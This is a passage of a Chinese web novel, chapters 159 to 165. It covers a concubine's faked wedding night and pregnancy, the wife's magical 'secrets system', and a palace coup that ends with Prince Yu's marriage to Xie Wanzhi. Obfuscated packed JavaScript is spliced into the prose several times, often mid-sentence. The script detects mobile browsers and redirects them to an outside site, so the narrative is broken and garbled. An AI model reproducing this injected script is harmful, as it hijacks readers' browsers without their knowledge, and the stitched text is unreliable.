有了上次在景王府赴宴的经历，姜小满颇有些胆战心惊道，“哎，能不能不去啊，我实在是——” “娘子，今儿你不必去！”明澈欲说还休道，“但是，但是——” “真的吗？太好了！但是什么？”姜小满开心道。 “但是，我要带琥珀去！”明澈说完便低下了头。 景王说了，这次宴会谁都不许带正室妻子，那些夫人们惯会扫兴，毫无趣味，大家都要带妾室来！ 除此之外，景王还大气地表示，若是没有妾室，他当场就送一个！ 为了不让景王当场送个妾室，明澈决定带琥珀过去。 待明澈将来龙去脉说明后，小满大气地表示，“去吧，去吧，早去早回！若是沾染了什么不好的就别回来了！” 如今，她已对明澈很是信任，毕竟这是曾经为她跳过崖的男人！ 于是，明澈便带着喜出望外的琥珀踏上了去景王府赴宴的路。 现在虽然是中秋，但今晚的景王府却是春色满园关不住，明澈身处其中随时告诫自己：一定要自律，否则娘子就不要他了！ 这晚的明澈分明看到平日里板着面孔的官员，包括自己的顶头上司竟然让小妾当面啐到了脸上，依旧是笑嘻嘻地擦掉，可谓是大开眼界。 还有那陆云起，自上次在蓝府，陆云起只顾着救蓝金玉而不顾危险之中的小满之后，明澈便以为这陆云起已然对蓝金玉情根深种。 明澈也算是放了心，他家的肉总算没有狼惦记了！ 但今日的陆云起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687836|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好似换了一个人，想来早已将什么蓝金玉忘在了甘露巷的宅子里—— 为了迎合气氛，不让自己显得太过不合群，明澈也试着搂了琥珀，否则他担心景王随手赠个妾室过来！ “老爷，你尝尝这酒——”今日的琥珀亦是格外开心，一会儿给明澈斟酒，一会儿同好友密聊。 “琥珀，我瞧着你家老爷对你还算不错，听说你家只有你一个妾室？”一名叫玛瑙的小妾关切道。 因着官员们都带了小妾来，所以琥珀亦是遇到了许多旧相识。 与她同一批放出宫的玛瑙便是其中之一。 “哎，好什么？”琥珀附耳将明澈有隐疾的事儿随口与那玛瑙说了。 琥珀与玛瑙在宫中相伴多年，可以说是无话不谈的好友，同亲姐妹是一样的。 玛瑙斜晲了一眼不远处的明澈道，“我瞧着你家老爷不像是有隐疾的样子，我曾经做过医女，待会儿我悄悄替你把一把——” “你最好了，不过也无妨，我如今只是想有个孩子而已！”琥珀摸了摸自己尚且平坦的肚子。 玛瑙大惊失色道，“你，你不是说你家老爷有隐疾吗？” 琥珀：“是啊，所以这不是我家老爷的！我们做女人的总要为自己争一争，难不成嫁个有隐疾的，便认命了不成？” 琥珀只有一个执念，生孩子。 既然明澈有隐疾，她便只能自己想办法，还好她在宫中时有一名同乡的侍卫，二人一直关系不错，便请他帮这个忙了。 琥珀觉得这也算是帮了明澈的大忙，让明家有个孩子，毕竟她是要在明家好好过下去的。而那同乡的侍卫早就娶妻并生了一堆孩子了，不差这一个。 “琥珀，你向来胆子大？但是你这样，若是被发现了可如何是好呀？”玛瑙颇为担忧道。 “这不是巧了吗？我近来正准备将我家老爷灌醉，让他来个百口莫辩，谁知景王殿下竟然给我这个机会，待会儿你替我多灌我家老爷几杯！”琥珀一脸认真道，她将这件事当成一件任务来做。 玛瑙：“好——” 第160章 娘子，你怎么变胖了？ 三巡酒过，明澈已然不能再喝了，于是便拽着琥珀要回家。 琥珀趁势叫玛瑙过来，那玛瑙借着是琥珀好友的名头又灌了几杯，最终明澈醉得不省人事。 玛瑙趁机替明澈把了脉，颇为震惊地对琥珀道，“你家老爷很厉害，比我家老爷还厉害，琥珀你怕不是被诓了吧！” 明白过来的琥珀气呼呼道，“竟敢骗我？他不仁别怪我不义，我本来对有孕一事还有所顾虑，现下也心安了——” 天刚擦黑时，琥珀便带着不省人事的明澈回来了。 “怎么喝成这样？快扶进去！”姜小满说着便要和琥珀一起将明澈扶进自己屋里。 那琥珀却是厉色道，“夫人，老爷说了今夜在我那里睡。” 姜小满还欲再说些什么，琥珀已然将明澈扶到了自己屋里。 “琥珀，他醉成这样，别将你的屋子熏着了，还是扶到我那儿吧！”姜小满没想到有朝一日她要从别的女人房里抢自己的夫君。 “夫人可是觉得琥珀不配伺候老爷吗？奴家是陛下亲赐，若是夫人觉得我不配同老爷共枕，那便请夫人也去敲一敲登闻鼓吧！”琥珀向来爱以陛下亲赐为要挟，今日更是带了几分凌厉。 姜小满只得盼着明澈关键时刻清醒一些，别做了任人宰割的肉才好。 西厢房内。 琥珀在帮明澈宽衣。 “娘子，过来！”明澈迷迷糊糊间搂了琥珀道，“娘子，你怎得变胖了！” 琥珀知其认错了人，并未纠正道，“睡吧，相公——” 明澈摸了摸琥珀的手臂，忽得睁开了眼睛，这分明不是小满啊？ “对不住，我——我走错地方了——”明澈说着便踉跄着要向门口而去，只是方才坐起便一头栽倒到了床下。 琥珀费了九牛二虎之力将明澈抬回床榻，但明澈整晚都在哭哭笑笑地嘟囔着，“娘，你怎得就走了呢？我还没好好孝敬你——” 当琥珀要褪下明澈的亵衣之时，明澈死死捂着道，“娘子，你干嘛！不是说好了要给娘守孝的吗？这还未到百日——” 琥珀终究没有拿下明澈，但是明澈晨起还是看到自己与琥珀相拥而眠的场景。 “琥珀，你？”明澈即刻穿上了衣服。 “老爷，你昨晚实在是，太过——”琥珀说着便染上了一抹绯色。 “我们两个昨晚？”明澈难以置信。 自明妈妈走后，明澈近来与小满都未在一起，何况琥珀？明澈不相信自己竟然做了这样的事。 “老爷，你真是太坏了，竟然说奴家，奴家比夫人胖——”琥珀只是想探究一番明澈到底对昨晚之事记得多少。 “对不住，我真的这样说过吗？”真真是喝酒误事儿，明澈的记忆只停留在景王府的宴席之上，对于是怎样回府以及怎样和琥珀度过了一夜，一无所知。 在发觉明澈对昨晚之事全然不记得后，琥珀松了口气道，“老爷，你瞧！” 明澈瞧着床上的那抹鲜红，顿觉头顶炸雷响起，他明澈怎能做这样的事！ “对，对不住——”明澈逃也似的去翰林院了。 今日的小满睡了个懒觉，睁开眼发现已然过了时辰，明澈应当已经去翰林院了。 “明澈昨晚和琥珀到底有没有？”姜小满内心嘀咕着，随即又劝道自己，“怎么可能？明澈近来为明妈妈守孝，同自己都没有一起。” “夫人，我可以进来吗？”琥珀在门口喊话。 小满敛了思绪道，“进来。” 琥珀一脸喜色道，“夫人，告诉您一个好消息。” 琥珀说着便俯身在小满耳边低语道，“夫人，老爷他隐疾已然痊愈了。” 姜小满：“什么？难道你们昨晚圆房了？” 琥珀不置可否却是做出了难得的娇羞摸样。 姜小满：“那便好，你，你先出去吧——” 琥珀走出房门，颇觉今日庭院中的花开得正艳，树上的鸟儿叫得最欢。 谁叫姜小满和明澈一同骗自己的，那便由她亲口告诉姜小满，明澈的隐疾治好了，不过分吧！ 夜里，明澈如常回家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693279|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “娘子，今晚的银耳汤你觉得好喝吗？”明澈表现的亦是一如往常。 “明澈，你没有什么话要同我说吗？”姜小满直截了当道。 “什么，什么话？”明澈心虚道。 姜小满：“昨晚你与琥珀可是圆房了？” 明澈：“娘子，你听我解释，琥珀说我们——但是，我不记得了！” 明澈实话实说，只是未敢将床上的那抹鲜红说出来，饶是这样，这句话落在小满的耳中也是承认了的意思。 见小满半晌无言，明澈有些慌道，“娘子，可是生气了？我保证以后再不去西厢房——” 姜小满只冷冷丢下一句“睡吧”便翻身上了榻。 明澈悻悻然凑近，想要同往常那样相拥入眠，然小满却冷冷丢出一句，“为娘守孝，保持距离。” 明澈只得将手臂收回。 夜色如洗，屋内落针可闻。 姜小满默默垂泪，她不知道以后的日子该当怎样？ 在这个时代，纳妾是常事。如若她想找谁评评理，即便是亲娘也定然会告诉她：哪有官员不纳妾的，何况是皇帝赏下来的妾室呢？ 这个时代的女人没有因为谁家纳了妾便真的过不下去了！但她姜小满是有着现代意识的人啊？ 上辈子是个男女平等的时代，小满上辈子的母亲便是因着父亲出车，才会勇敢选择离婚。 “身为女人，要不囿于情爱。”这是小满上辈子的母亲在自己离婚后告诉小满的。 倘若她能见一见上辈子的母亲，她会怎样劝自己呢？ 还有琥珀，既然同明澈圆房，那这辈子便会牢牢地绑在她的家里，她姜小满也要过那种贤妻的日子了吗？听将来小妾的孩子叫自己娘，眼睁睁看着自己的夫君隔三差五便会入小妾的屋子？她做不到！ 但日后若不许明澈和琥珀在一起，那琥珀该当如何呢？ 姜小满思绪翻飞间终是入了梦—— 接下来的日子，好像一切如常，只是小满与明澈夜里很默契地为明妈妈守孝。 第161章 当爹了？ 直到这日，明家人如常吃着午食。 向来重规矩的琥珀却当着全家人的面干呕了起来。 “琥珀，你没事吧？可是吃坏了肚子？”小满关切道。 “没有，就是，就是——”琥珀不好意思道。 “是不是有了？”明阿奶拊掌道。 “嗯——”琥珀点了点头。 “哎呀，好好！这可是我的第一个重孙！”明阿爷喜道。 姜小满愣愣地看着琥珀，心头的怒火不自觉上涌，“那晚他们果然是圆房了？但是，一次就有了？” “小满，今晚多烧几个菜，等澈儿回来我们好好庆祝一下！”明阿奶命令道。 自搬到甘露巷的这个宅院，前后有明大丫、明妈妈、小满娘、小蝶和琥珀，还没轮到姜小满操持过家务，但现在琥珀有孕了，居然要她多烧几个菜？ 庆祝什么？庆祝她相公和别的女人有了孩子，还得她来烧菜？ “阿奶，我不会烧菜。”姜小满觉得这整整齐齐一家子住着她姜小满的宅院，整个吃穿用度都是她之前在谢婉之那里换来的赏赐，就是明三头售卖玄米茶的银钱也是因自她。 不计较这些便不错了，怎得还得要她亲自伺候着。 “不会就学，哪有人天生就会的！你以前不是做丫鬟的吗？你不做难不成还让琥珀做吗？”明阿奶训斥道。 “夫人，奴婢实在是身子不适，今后就有劳夫人了！”琥珀的意思是她有孕了，家里的厨房就正式交给小满了。 瞧着琥珀那尚且平坦的肚子，姜小满怒从中来，直接道，“我不会！”便放下筷子回屋了！ “夫人矜贵，没事的阿奶，我来做——”琥珀劝慰着明阿奶。 “她矜贵什么？从前不也是让人使唤的丫头！妒妇，妒妇，自己不下蛋，也瞧不得别人生孩子！”明阿奶全力维护着她几日前还不甚喜欢的琥珀。 听到“不下蛋”这三个字，姜小满着实是忍不了！ 二婶生了姜白露，崔姨娘即将生产，就连琥珀也是一次就中，偏偏她姜小满不但怀不了孕，还得伺候人？ 她不伺候了！ 姜小满转身，定定道，“阿爷，阿奶，你们所吃所住都是我在供养，若是不能安生，明日便带着琥珀回乡下！” “小满啊，你怎得能这样和阿爷阿奶说话！”闷不吭声的明二最是孝顺，此刻不得不站出来维护自己的爹娘。 姜小满：“爹若不喜欢，爹也可以走！” 明阿爷：“这个家还有没有规矩了，晚上等澈儿回来便让他休了你这个妒妇！” 明阿奶：“她一个丫鬟本就配不得我们澈儿。” “夫人，奴婢不得不提醒你一句，若只是善妒那不过是夫人被休！”琥珀站起来继续道，“若要留下不孝的名声，怕是会连累老爷的仕途啊，我们大顺朝可是以孝治天下的！” 琥珀说得没错，若是以前便罢了，但如今明澈是有官身的，倘若真的将明阿爷阿奶赶回老家，落下个不孝的罪名，那明澈的仕途便毁了！ “对，我们为了澈儿也不能回老家！”明阿爷终于找到了长久住在京城的理由。 “我澈儿是官老爷，怎得这家里就是靠你养着了？”明阿奶回过味儿来反呛道。 “阿奶，你不会不知道你孙儿明澈被罚了两年的俸禄吧！”姜小满得让他们把饭吃得明明白白，“谁若再忍我烦心，明日便没米下锅了！” “夫人，怒我冒昧，你怎得如此没有规矩，竟然这样待老爷的家人！”琥珀眼珠一转道，“不过夫人放心，我定然不会让我的那些姐妹同她们家老爷胡说八道，定然不会让夫人忤逆不孝之名传人陛下耳中，尤其是那位言官陈大人家的妾室——” 琥珀在威胁姜小满，她是在告诉姜小满，倘若姜小满真的这样做，那么明澈忤逆不孝的事，便会由小妾的枕头风吹到言官的耳朵里，最后再吹到皇帝的耳中。 谁让琥珀有那么多成为宠妾的姐妹呢？在京城的妾室圈里可谓是人脉甚广，谁不知这妾室枕边风的厉害！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693280|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那明阿爷听了琥珀之言，意识到官员不孝竟然这么严重，于是便摆起了他老太爷的谱儿，“你可听到了，莫要落个不孝的罪名，到时候连累了澈儿的前程。” 姜小满本来是对琥珀有所同情的，作为这个时代无法选择自己命运的人，被一道旨意派给一个从未见过的男人作妾，也是着实可怜。 但今日，姜小满算是领教到了宫里出来之人的厉害，琥珀可不是一个简简单单的可怜的女人！ 既如此，琥珀若是以这个时代的封建礼教来压制她，那姜小满也就没必要对她用人人平等那套了！既然大家都活在大顺朝，那姜小满便要摆一摆正妻的谱儿了，否则老虎不发威，琥珀早已将她当病猫了！ “琥珀，你身为妾室，应当这样同主母讲话吗？” 姜小满此话一出，琥珀微微一愣，自入了这明宅以来，这个好说话的丫头还从未同自己这样说过话，一个小丫头竟然敢在她面前摆主母的谱儿？ 琥珀：“夫人，奴婢只是奉了陛下之言，提醒夫人莫要对夫君的前途有碍，所谓夫为妻纲，不知奴婢哪句说错了？” 琥珀口口声声称着奴婢，实则没有半分的恭敬之意，眉眼间全是一副我是从宫里出来的，你不过是从侯府出来的傲慢。 “琥珀，你也是要当娘的人了，若是不敬主母不够贤德，将来是没有办法亲自抚养孩儿的？”姜小满决定用大顺朝的规矩来压制琥珀，提醒她再不恭敬小心将来孩子被她带走。 琥珀还欲再说些什么，抬手摸了摸肚子便住口了。 是啊，妾终究是妾，以前也就算了，以后她定然要成为这宅院的主母为她的孩子撑起一片天。 下午，下值回来的明澈还不知今日家里闹了不愉快。 “娘子，你瞧，我路过吉庆街买了你爱吃的酥酪，酸酸甜甜的——”这些天以来，明澈一直在努力回忆那天的场景，他坚信自己虽然喝大了但绝对没有做过对不起小满的事儿，所以今日特意买了小满爱吃的甜点回家破冰。 第162章 系统升级 “酸酸甜甜，拿去给琥珀吃吧，她应当喜欢。”姜小满不冷不热道。 “娘子，这是我特意给你买的，排了好长的队呢——”明澈眼瞧着小满今日好似心绪更是不佳，于是开门见山道，“娘子，那件事过了好不好，我当真是记不得了，但是我觉得我没做过对不起你的事情。” 明澈说着便想到了那日琥珀床单上的一抹殷红，心虚地低下了头。天呐，这倒是怎么一回事？以后再也不喝酒了！ “恭喜你，要做爹了！”小满冷冷道。 “当真？”明澈欣喜地瞧了瞧小满的肚子，心道，“不对啊，他与小满自从明妈妈走后就没有，怎得能有孕呢——” “千真万确！” 小满朝着西厢房抬眼望去，明澈的心瞬间凉了半截，“你是说，琥珀有孕？” “嗯——” “不可能啊，我们这么长时间都没？那不过一次就——”明澈头有些大，他与小满耕耘了这么久都颗粒无收，怎得无心插柳就柳成荫了呢？ “我不信——”明澈努力回忆着那晚，他只记得在景王府喝多—— “老爷，你可以出来一下吗？”窗外琥珀在说话。 “去吧，去了就别回来了！”姜小满翻身上床。 明澈犹豫着还是走出了卧房，如果琥珀真的有孕了，他就必得负起责任来。 西厢房内。 “老爷，奴家有了——”琥珀娇声道。 “琥珀，我们那日是怎样的，你能和我说说吗？”明澈真的很想证明他喝多之后并不是那么无耻。 “老爷，这孩子都有了，你若是怀疑奴婢，那奴婢现在便以死明志。”琥珀愤愤道。 “别别，那既然有了便好生休息！”明澈死心了，他决定好好照顾琥珀，负起他该有的责任。 “老爷，今晚你陪我吧，我夜里会不舒服，也没个人在身边——”琥珀自有孕后，觉得应当同明澈拉近些距离，毕竟这是他日后孩子的爹。 明澈自是不愿，但他不知该如何拒绝，一个怀了自己孩子的女人，这样求自己。 “好——但是——”但是明澈要守孝，只睡素的。 看着西厢房熄了烛火，姜小满恨不得冲进去将明澈揪出来：让你走你就走了？ 次日，姜小满从郁郁中苏醒，光幕居然亮了。 姜小满蹭的一下坐起，不应该呀？这系统不是只在承恩侯府才会收到信息吗？ 自打搬离了侯府，姜小满只有无事时寻个由头回到侯府才能收到信息，今日居然在甘露巷的宅子也能收到了？ 姜小满定睛一看：【系统升级！宿主可选择：一、维持承恩侯府秘闻系统不变；二、系统升级为京城秘闻系统每日刷新，但宿主需助力羽王成就帝业，否则不但系统收回，而且宿主前世记忆收回，明澈智商收回。】 甫一看到系统升级的姜小满很是开心，但仔细一看需要做选择，如若选择一，她可维持现在的生活，如若选择二。那便要助力羽王成就帝业。 天呐！这系统也太过分了！ 这羽王要不要夺嫡哪是她一个小女子能够决定的，莫非她还能拿把刀逼着羽王**？ 但转念一想，如若日后是那二皇子景王夺得大位，那天下该当如何？她姜小满就差点因为一条狗而被砍了双手—— 许是系统也看不下去了？所以升级让她去助力羽王？ 但天降大任于斯人也，为何降给她一个小女子做选择！ 正犹豫间，却见明澈朝着正房而来。 姜小满立即躺下装睡，她不知该如何面对这个“脏”了的男人。 “娘子！”，明澈坐在榻边轻轻掖了掖小满的被角道，“你放心，我昨夜就睡在了地上——” 见小满不理他，明澈便自言自语起来，“娘子，我走了，今日要去羽王府——” 听到羽王的名字，姜小满坐起来道，“为何要去羽王府，你不是向来只去景王府的吗？” 姜小满心里记挂着那个未做选择的系统，想要多了解一些与羽王的相关。 “是啊，去景王府可以走正门，去羽王府却是偷偷摸摸的，我如今正替羽王办事，想了许久，还是决定不瞒着娘子你了！”自从与羽王相识后，明澈视羽王为 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既然明澈已然跟随了羽王，那她也就被迫跟随了羽王！如果她选一那将是一眼望到头的一生！不，若是将来二皇子登基，这天下黎民哪还有好日子过？她也不会是一眼望到头的安稳！ 正所谓覆巢之下焉有完卵，姜小满知道哪怕没有明澈的选择，她最终也会选择二！ 那就让他们夫妻同心吧！ 姜小满激动的心颤抖的手，颤颤巍巍地点了那个二的选项！从此以后她就要助力羽王夺嫡了，否则一切将回到原点！ 做了选择后的姜小满心情舒畅，紧接着便看到了光幕再一次亮起。 【大顺京城秘闻系统已绑定】 【宿主：姜小满】 【系统每日推送一条秘闻】 【今日秘闻：太后遗旨现存藏于皇宫弘文阁四层的“中正仁和”牌匾之后。遗旨内容为：康宁帝百年之后要将皇位传于羽王钱淮安。】 【大顺京城秘闻系统每日辰时刷新！】 第163章 爬墙头 这这这！升级后的系统果然炸裂！ 第一天就给了姜小满一个助力羽王夺嫡的正当由头：太后遗旨。 姜小满不禁回忆着京城人人皆知的秘辛：当今皇帝与羽王钱淮安都是杜太后之子，然太后偏爱幼子。 这样想来，这遗旨的可信度就非常高了！ 姜小满不知这道遗旨当今皇帝是否知道？二皇子又是否知道？ 次日，姜小满便在自己家的矮墙之上看到了自己后半辈子的老板羽王。 令她没有想到的是堂堂的羽王正在爬墙头。 “嘘——”羽王钱淮安对着姜小满比了个噤声的手势。 待小满走近，那钱淮安故作镇定道，“弟妹莫要误会，本王不过是顺路—” “哦！” 顺路顺到了墙头上？姜小满就当她信了。 羽王只是嘱咐小满不要告诉明澈，又没不让她告诉谢婉之，于是待羽王离开后姜小满扭脸儿便入了隔壁宅子。 姜小满：“婉之姐姐，方才羽王殿下来探望你了—” “哪里？”谢婉之第一时间理了理鬓发道。 姜小满嗤笑道，“羽王殿下不走寻常路，已然走远了。” 姜小满将羽王爬墙头来看她的事情如实告知了谢婉之，然后道，“婉之姐姐，你与殿下可是互相倾慕？” 谢婉之斜睨一眼道，“我已嫁过人，还有孩儿，配不上他！” 姜小满：“婉之姐姐，你未同他明言，又怎知殿下不愿意？” “小满，我与他自小一道儿长大，我了解的！也许他对我有情不假，但他若当真不弃定然会光明正大入正门寻我！” “他既如此，那就是有所顾虑，你当真觉得堂堂羽王会要一个带着孩子的弃妇？莫说他是羽王，即便他是一个寻常郎君也不会要的！” “可是，两情相悦是多么难得？”姜小满觉得谢婉之所言属实，但仍旧有些不死心。 她那做十次红娘的任务，这对儿怕是不作数了。 “小满，你了解的，除非我愿意入羽王府为妾，否则—”谢婉之摇摇头道。 姜小满无言以对，的确如此。 二人虽说互生情愫，但堂堂羽王不会让谢婉之做正妻，骄傲如谢婉之亦不会入府为妾，他们互相都懂得对方。 所以，死局。 次日，姜小满早早便醒了。 今日是获得京城秘闻系统的第二日，姜小满大睁着眼睛颇为期待地等着今日秘闻。 辰时光幕亮起：【昨日二皇子景王已在皇宫布下死局，今日欲杀父嫁祸羽王。】 杀父？ 二皇子竟然要杀父篡位！这大顺朝就要变天了？ 姜小满第一时间想到的居然是救皇帝！ 但她想了一圈，再瞧瞧秘闻中的“死局”二字，掂量了一下自己的斤两，她救不了！ 但是羽王她得救！那可是她下半辈子的老板，倘若羽王被嫁祸成功那便难逃一死，那她姜小满岂不是玩完了？ 皇帝自求多福吧，姜小满今日目标：阻止羽王进宫！只要阻止羽王进宫并营造其不在场的证据，那便嫁祸不成！ 在救羽王之前，姜小满先得拦住明澈，不能让他入宫，今日宫中势必大乱，说不准便成了宫变中被人随手碾死的蚂蚁。 翰林院。 “劳烦老丈叫侍读明澈出来一下，我是他的娘子。”姜小满说着便给了那茶水房的老丈一些碎银。 “夫人稍后！”那老头儿拿了银子便高高兴兴去叫人了。 听到姜小满来寻自己，明澈心下欢喜，“娘子这是想我了？” 这几日，小满都未与明澈同床，同明三头睡了几日的明澈颇觉春天就要来了。 “明大人这是去哪儿啊？” “明大人，门口那是你家娘子啊？” “明兄，好福气呀，是娘子来送午食了吗？” 对于路过的同僚，无论别人问什么，明澈统一回复：“对，门口儿是我娘子，家妻太过粘人，对不住，呵呵—” 明澈夸张地慢悠悠往出走，姜小满甫一看到他的身影便急道，“这儿，这儿，快点儿！” 嘿，娘子今儿怪热情的！ “去请假！今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听到那个“死”字，谢婉之愣了一下，她已经有太多亲人离开，羽王也算是她的亲人吧— 谢婉之定了定心神道，“走吧—” 第164章 弃妇变王妃 羽王府内。 明澈：“殿下，贪墨赈灾粮之事得让言官上书才行啊—” 羽王：“明日再议不行吗？皇兄叫我今日入宫—” 明澈冷汗从额上冒出，他快要坚持不住了。 “欸？谢娘子，你们怎么来了？”明澈像看到救星一样看着小满和谢婉之道。 “谢娘子？婉儿怎么会来这里？”羽王疑惑间便看到了立在他面前的谢婉之。 谢婉之：“殿下，你急着出门吗？我有事同你说—” 羽王：“倒也无事——婉儿，你先坐。” 姜小满见状忙示意明澈，他二人可以退下了。 路上。 “小满，你觉得谢娘子当真比陛下还厉害？羽王殿下为了她可以拒了陛下？”明澈有些不信。 姜小满想说，“他爬墙头看望的女人寻到了府里，这还不够？” 但姜小满答应了羽王不告诉明澈他爬墙头的事儿，于是随口道，“明日便知晓了！” 谁知明澈却是意味深长道，“应当可以，我见过殿下爬墙头—” 额，看来不止一次了，这下可不怪姜小满了！ 夜里，明澈以明日保不齐就要宫变，担心小满害怕为由坚决不再和明三头睡。 天光渐亮，丧钟敲响，明澈心有余悸道，“陛下真的驾崩了—” 姜小满随即收到秘闻：【昨夜二皇子指使高太医下毒致皇帝驾崩。】 大顺的天就这样变了！官方消息：陛下昨夜突发急症暴毙。 紧接着二皇子顺理成章地登基成为了大顺天子，鹿妃也升级成了皇太后。 只是，这一场宫变景王的目标本来是一石二鸟，如今羽王却成了一只漏网之鸟。 不甘心的新帝，登基后要做的第一件事就是收拾羽王。 大殿之上。 大太监吴公公道，“启禀陛下，那日先帝曾召羽王殿下入宫，然殿下称突发恶疾并未入宫，奴才却在次日看到羽王殿下好端端地出现在朝堂之上，丝毫没有患恶疾之痕迹——” “下官觉得，羽王殿下莫不是提前便知晓宫中要出事，所以谎称有恶疾而造成不在场的证据？” 在新帝的授意下，不少官员将先帝突然暴毙的疑云指向羽王。 “下官不知，到底是何事比陛下召见还要重要，竟然使得羽王殿下不顾先帝？” 羽王抬眸，朝堂之上已皆是虎狼。 “启禀陛下，那日臣的确有不得已之事，只是事关他人清誉，所以不便宣之于众。”羽王拱手道。 “哦？皇叔有何不得已之事？”新帝玩味道，他就不信还有比先帝召见还紧急的事情。 “臣不敢隐瞒，那日是臣情不自禁，与一女子在一起。”羽王感激谢婉之那日拦住了自己，否则恐怕此刻已身首分离。 “哦？皇叔清净惯了，居然为了一女子拒了陛下，敢问是谁家的闺秀啊？”新帝想要当堂对峙，倘若没有那女子，羽王也是欺君。 羽王：“回陛下，那女子是先庆安侯嫡长女，此刻还在臣的府邸，陛下若不信，现下便可差人去看。” “先庆安侯嫡长女？那不就是承恩侯的弃妇？”有官员疑惑道。 因是大朝会，所以像承恩侯宋长宗、以及明澈这样的小官均排在末首。 此刻，正在安安静静凑数儿的新任承恩侯宋长宗忽得发现大家都在看他，听了一圈才明白，原来大家在议论她的前娘子谢婉之如今和羽王在一起了？ 羽王和谢婉之的事情宋长宗是知道的，但现在众目睽睽之下，百官都在议论他的女人攀了更高的枝儿，心里便不是滋味得很。 很快，谢婉之便到了。 “民女谢氏叩见陛下，吾皇万岁万岁万万岁！”谢婉之磕头拜下。 “谢氏，先帝驾崩那天你在何处？”新帝问道。 他就不信，事出突然这女子能和羽王互通了消息？ 羽王虽说面上不显，但心里亦是没有把握。那日，他的确与谢婉之共度良宵，但新帝这么一问，她若是承认的话，女子的名节便荡然无存。 羽王并没有把握谢婉之会置自己的名节于不顾，而在朝堂之上承认与自己无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705158|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媒而合。 那谢婉之却是定定抬眸道，“回陛下，那日民女在羽王府，羽王府众人皆可作证。” 羽王听罢终是松了一口气。 “没想到皇叔你好人妇，哈哈——”新帝肆无忌惮嘲讽。 羽王却是上前一步道，“臣自幼与谢氏青梅竹马，然阴错阳差未能做成夫妻。今臣能与谢氏重逢，是臣之幸，臣恳请陛下赐婚！” 在谢婉之当堂承认那日是与自己在一起的那一刻，她就不止是自己心里最在意的女子，而是于自己有救命之恩！面对这样的女子，倘若他再考量对方是不是弃妇，那就不配为人！ 听到羽王在求陛下赐婚，谢婉之亦是吃了一惊！她今日入朝只有一个目的：为羽王提供不在宫中的证明。真的没有想到他会这样求赐婚啊？ “好！皇叔的亲事一直是先帝的心病，若是皇叔能在热孝期间成婚，也算是对先帝的安慰！他日先帝魂魄归来，定然欢喜！”新帝对于羽王所求的赐婚非常满意。 羽王势必是要娶亲的，但这羽王妃的人选却是个难事，若门第太高新帝不放心，若门第低了又怕议论！ 如此甚好，他自己选了一个被抄家灭族的弃妇，这可是他自己选的，不关他的事啊？既然一时灭不掉羽王，那就先让他娶个弃妇吧！ 在大顺朝，若是帝王驾崩是要守孝一年禁婚嫁的，但热孝期间成亲又当别说，还有为先帝祈福之意，因此二人的婚事要么等一年，要么就尽快办！ 此时，朝堂之上已然议论纷纷。 “羽王怎得看上了一个弃妇？” “不过一时新鲜罢了，羽王还能真的娶一个弃妇做王妃？” “臣领旨谢恩！”羽王这一句便是将他与谢婉之的婚事定了。 谢婉之定定瞧着羽王，没想到此生还能以弃妇之身嫁予皇亲贵胄。 那末首的承恩侯更是将指甲狠狠地掐入掌心，他的下堂妻成王妃了？ 很快，谢婉之便带着谢安入了羽王府，谢婉之正式成为了羽王府的当家主母，而谢安也成为了羽王的长子钱谢安。 第165章 等美人儿 新帝登基后先是扩充后宫，后是大兴土木。 总之，做了皇帝的景王彻底没了束缚，开始尽情享受他的美好人生。 因此，大顺朝的早朝已多日未举行，百官每日所想已不是为民**，而是怎样才能寻到绝色美人来讨得帝王的欢心。 不愿同流合污的明澈依旧是一个小小的六品侍读，当然面对这样的帝王，工作可谓是清闲至极。 虽说事业无所大成，但明澈却是喜当爹了！ 